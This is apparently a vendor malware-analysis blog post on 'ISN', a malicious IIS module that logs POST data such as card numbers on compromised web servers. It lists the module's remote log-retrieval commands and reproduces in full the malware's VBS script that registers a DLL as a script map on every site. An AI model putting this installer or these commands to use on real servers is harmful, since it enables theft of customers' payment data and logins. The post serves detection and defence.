The Curious Case of the Malicious IIS Module
Recently, we've seen a few instances of a malicious DLL that is installed as an IIS module making its rounds in forensic cases. This module is of particular concern as it is currently undetectable by almost all anti-virus products. The malware is used by attackers to target sensitive information in POST requests, and has mechanisms in place for data exfiltration. Encryption is circumvented as the malware extracts this data from IIS itself. This was seen targeting credit card data on e-commerce sites, however, it could also be used to steal logins, or any other sensitive information sent to a compromised IIS instance. Please note that this is not related in any way to the recent 'Pony' malware that was reported. Pony targets the end-users, while this malware goes after the web servers themselves.
One of my YARA rulesets that I created for this family of malware triggered, leading me to the following:
https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/
As it turns out, this happens to be the original installer for the IIS module I'm referring to, and it seemed like the perfect time to throw a write-up together. I decided to write this post for a couple of reasons:
- At the time of writing this post, anti-virus do not currently detect any of the IIS modules dropped by this malware. Even the installer is only picked up by a handful of anti-virus products, and in all cases it's simply generic heuristic detection. I'm using this post as a way of notifying anti-virus vendors so that specific detections for this malware may be written.
- I think the malware is pretty neat.
So with that, let's talk about this thing. For the sake of my own sanity, I'm going to be referring to this malware as 'ISN' going forward, as this three character string is referenced in all of the malware's exfiltration commands.
Let's take a look at the installer first. The file can take a number of arguments, as you can see below:
- -path : [Location where malware is installed]
- -i : [List of URI paths to be targeted, such as '/sensitive.aspx'
- -u : [Uninstall malware]
- -is632 : [Manually instruct malware that victim is IIS6 32-Bit]
- -is664 : [Manually instruct malware that victim is IIS6 64-Bit]
In truth, the installer is quite simple. It has four embedded DLLs (in the PE resource section) that are dropped depending on the victim. There are IIS modules for the following:
- IIS6 32-Bit
- IIS6 64-Bit
- IIS7+ 32-Bit
- IIS7+ 64-Bit
Additionally, the ISN malware has a VBS file that is also embedded as a PE resource (See the reference section below for full output and VirusTotal link). This VBS file is used to install or remove the DLLs as an IIS module.
Once run, ISN will perform the following:
- Drop the VBS file to the location specified by '-path', or the current working directory. This file is removed before the ISN installer is finished.
- Create a configuration file ([filename].cfg) in the same directory. This file contains a list of
- URIs that are targeted by the malware.
- Detect the IIS version as well as the victim architecture.
- Drop the appropriate DLL to the installation directory.
- Call the VBS file in order to install the DLL as an IIS module.
The malicious IIS module is installed as whatever the name of the executable is. For my demonstration, I've named the malware 'isn.exe', which results in the following:
As the installation process takes place, a log file named '[filename].log' is created and a number of debugging statements are written to it.
Once the module is successfully installed, it will monitor the URIs specified in the configuration file and dump any POST requests encountered to the '[filename].log' file. The module will also monitor the QUERY_STRING parameter, and can accept a number of commands. I've setup a simple IIS instance to demonstrate how this process takes place.
As we can see below, I've created a simple web form that would mimic an actual e-commerce site. A user would enter their name and credit card number and submit the information, which is simply replayed back to them in '/buy.aspx'.
I've also setup a self-signed certificate so that all of the communicate takes place over SSL.
However, this transaction took place on an IIS instance with the ISN malware. The configuration has been set to track POST requests to '/buy.aspx'. As we see below, when this POST request occurs, the ISN malware creates a log file with this information stored in the clear.
Now, I mentioned earlier that the ISN malware monitors QUERY_STRING parameters. Specifically, it will look for the following commands:
- isn_getlog – return the contents of the isn.log file
- isn_logdel – delete the isn.log file
- isn_logpath – return the path of the isn.log file
These commands can be sent remotely simply by providing them as a GET parameter.
'isn_getlog' example:
'isn_logdel' example:
'isn_logpath' example:
Overall, this malware does not appear to be widely spread and has only been seen in a few forensic case instances. However, the extremely low detection rate in collaboration with the malware's targeted functionality makes this a very real threat.
Trustwave's WebDefend and ModSecurity can be used to both block the initial point of infection for this malware and detect whether sensitive user data such as credit card numbers appear in outbound data.
Reference
Installer (9/48) - https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/
VBS File (0/49) - https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/
IIS6 64-Bit (0/49) - https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/
IIS6 32-Bit (0/47) - https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/
IIS7+ 64-Bit (0/46) - https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/
IIS7+ 32-Bit (0/47) - https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/
Content of VBS File - https://gist.github.com/jgrunzweig/7840987
OPTION EXPLICIT | |
DIM CRLF, TAB | |
DIM strServer | |
DIM objWebService | |
DIM WebSvcObj | |
dim webID | |
dim DllName | |
dim strScriptMap | |
dim objVDir | |
dim arrScriptMaps | |
dim arrScriptMapsTmp | |
dim ISAPIlist | |
dim bAdd | |
dim bRemove | |
dim i | |
dim j | |
dim cc | |
TAB = CHR( 9 ) | |
CRLF = CHR( 13 ) & CHR( 10 ) | |
ISAPIlist = 0 | |
bAdd = 0 | |
bRemove = 0 | |
cc = 0 | |
If Wscript.Arguments.Count < 2 Then | |
If Wscript.Arguments.Count = 0 Then | |
Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites" | |
Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites" | |
Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>" | |
Wscript.Echo "cscript isn.vbs /weblist - list web sites" | |
Wscript.Echo "Example:" | |
Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll" | |
Wscript.Echo "cscript isn.vbs /remove isn.dll" | |
Wscript.Quit | |
Else | |
If Wscript.Arguments(0)="/weblist" Then | |
'list web sites id and names | |
SET objWebService = GetObject( "IIS://localhost/W3SVC" ) | |
EnumWebsites(objWebService) | |
Wscript.Quit | |
Else | |
Wscript.Echo "wrong param" | |
Wscript.Quit | |
End If | |
End If | |
Else | |
If Wscript.Arguments(0)="/isapilist" Then | |
webID = Wscript.Arguments(1) | |
ISAPIlist = 1 | |
ElseIf Wscript.Arguments(0)="/add" Then | |
bAdd = 1 | |
DllName = Wscript.Arguments(1) | |
ElseIf Wscript.Arguments(0)="/remove" Then | |
bRemove = 1 | |
DllName = Wscript.Arguments(1) | |
End If | |
End If | |
If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then | |
Wscript.Echo "Wrong params!" | |
Wscript.Quit | |
End If | |
If bAdd=1 Then | |
SET objWebService = GetObject( "IIS://localhost/W3SVC" ) | |
strScriptMap = "*,"+DllName+",4,All" | |
AddToWebsites(objWebService) | |
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") | |
WebSvcObj.EnableExtensionFile("*.dll") | |
WebSvcObj.SetInfo | |
End If | |
If bRemove=1 Then | |
SET objWebService = GetObject( "IIS://localhost/W3SVC" ) | |
RemoveFromWebsites(objWebService) | |
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC") | |
WebSvcObj.DisableExtensionFile("*.dll") | |
WebSvcObj.SetInfo | |
Wscript.Echo DllName + " deleted" | |
End If | |
If ISAPIlist=1 Then | |
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root") | |
arrScriptMaps = objVDir.Get("ScriptMaps") | |
For i = LBound(arrScriptMaps) to UBound(arrScriptMaps) | |
Wscript.Echo arrScriptMaps(i) | |
Next | |
Wscript.Quit | |
End If | |
FUNCTION AddToWebsites( objWebService ) | |
DIM objWebServer, strBindings | |
FOR EACH objWebServer IN objWebService | |
IF objWebserver.Class = "IIsWebServer" THEN | |
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") | |
arrScriptMaps = objVDir.Get("ScriptMaps") | |
arrScriptMapsTmp = arrScriptMaps | |
ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1) | |
j = LBound(arrScriptMaps) | |
arrScriptMaps(j) = strScriptMap | |
j = 0 | |
For i = 1 to UBound(arrScriptMaps) | |
arrScriptMaps(i)=arrScriptMapsTmp(j) | |
j = j+1 | |
Next | |
objVDir.Put "ScriptMaps", arrScriptMaps | |
objVDir.SetInfo | |
Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!" | |
END IF | |
NEXT | |
END FUNCTION | |
FUNCTION RemoveFromWebsites( objWebService ) | |
DIM objWebServer, strBindings | |
FOR EACH objWebServer IN objWebService | |
IF objWebserver.Class = "IIsWebServer" THEN | |
Do | |
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root") | |
arrScriptMaps = objVDir.Get("ScriptMaps") | |
arrScriptMapsTmp = arrScriptMaps | |
cc=0 | |
For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) | |
If InStr(arrScriptMapsTmp(i), DllName)>0 then | |
arrScriptMapsTmp(i) = "" | |
cc=cc+1 | |
Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete" | |
'exit for 'exit loop | |
End If | |
Next | |
If cc=0 Then | |
Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found" | |
Exit Do | |
End If | |
ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc) | |
j = LBound(arrScriptMapsTmp) | |
for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp) | |
If arrScriptMapsTmp(i)<>"" Then | |
arrScriptMaps(j)=arrScriptMapsTmp(i) | |
j = j+1 | |
End If | |
Next | |
objVDir.Put "ScriptMaps", arrScriptMaps | |
objVDir.SetInfo | |
Exit Do | |
Loop While False | |
END IF | |
NEXT | |
END FUNCTION | |
FUNCTION EnumWebsites( objWebService ) | |
DIM objWebServer, strBindings | |
FOR EACH objWebServer IN objWebService | |
IF objWebserver.Class = "IIsWebServer" THEN | |
WScript.Echo _ | |
"Site ID = " & objWebserver.Name & CRLF & _ | |
"Comment = """ & objWebServer.ServerComment & """ " & CRLF & _ | |
"State = " & State2Desc( objWebserver.ServerState ) '& CRLF & _ | |
'"LogDir = " & objWebServer.LogFileDirectory & _ | |
'"" | |
' Enumerate the HTTP bindings (ServerBindings) and | |
' SSL bindings (SecureBindings) | |
'strBindings = EnumBindings( objWebServer.ServerBindings ) & _ | |
' EnumBindings( objWebServer.SecureBindings ) | |
'IF NOT strBindings = "" THEN | |
' WScript.Echo "IP Address" & TAB & _ | |
' "Port" & TAB & _ | |
' "Host" & CRLF & _ | |
' strBindings | |
'END IF | |
END IF | |
NEXT | |
END FUNCTION | |
FUNCTION EnumBindings( objBindingList ) | |
DIM i, strIP, strPort, strHost | |
DIM reBinding, reMatch, reMatches | |
SET reBinding = NEW RegExp | |
reBinding.Pattern = "([^:]*):([^:]*):(.*)" | |
FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList ) | |
' objBindingList( i ) is a string looking like IP:Port:Host | |
SET reMatches = reBinding.Execute( objBindingList( i ) ) | |
FOR EACH reMatch IN reMatches | |
strIP = reMatch.SubMatches( 0 ) | |
strPort = reMatch.SubMatches( 1 ) | |
strHost = reMatch.SubMatches( 2 ) | |
' Do some pretty processing | |
IF strIP = "" THEN strIP = "All Unassigned" | |
IF strHost = "" THEN strHost = "*" | |
IF LEN( strIP ) < 8 THEN strIP = strIP & TAB | |
EnumBindings = EnumBindings & _ | |
strIP & TAB & _ | |
strPort & TAB & _ | |
strHost & TAB & _ | |
"" | |
NEXT | |
EnumBindings = EnumBindings & CRLF | |
NEXT | |
END FUNCTION | |
FUNCTION State2Desc( nState ) | |
SELECT CASE nState | |
CASE 1 | |
State2Desc = "Starting (MD_SERVER_STATE_STARTING)" | |
CASE 2 | |
State2Desc = "Started (MD_SERVER_STATE_STARTED)" | |
CASE 3 | |
State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)" | |
CASE 4 | |
State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)" | |
CASE 5 | |
State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)" | |
CASE 6 | |
State2Desc = "Paused (MD_SERVER_STATE_PAUSED)" | |
CASE 7 | |
State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)" | |
CASE ELSE | |
State2Desc = "Unknown state" | |
END SELECT | |
END FUNCTION |
ABOUT TRUSTWAVE
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.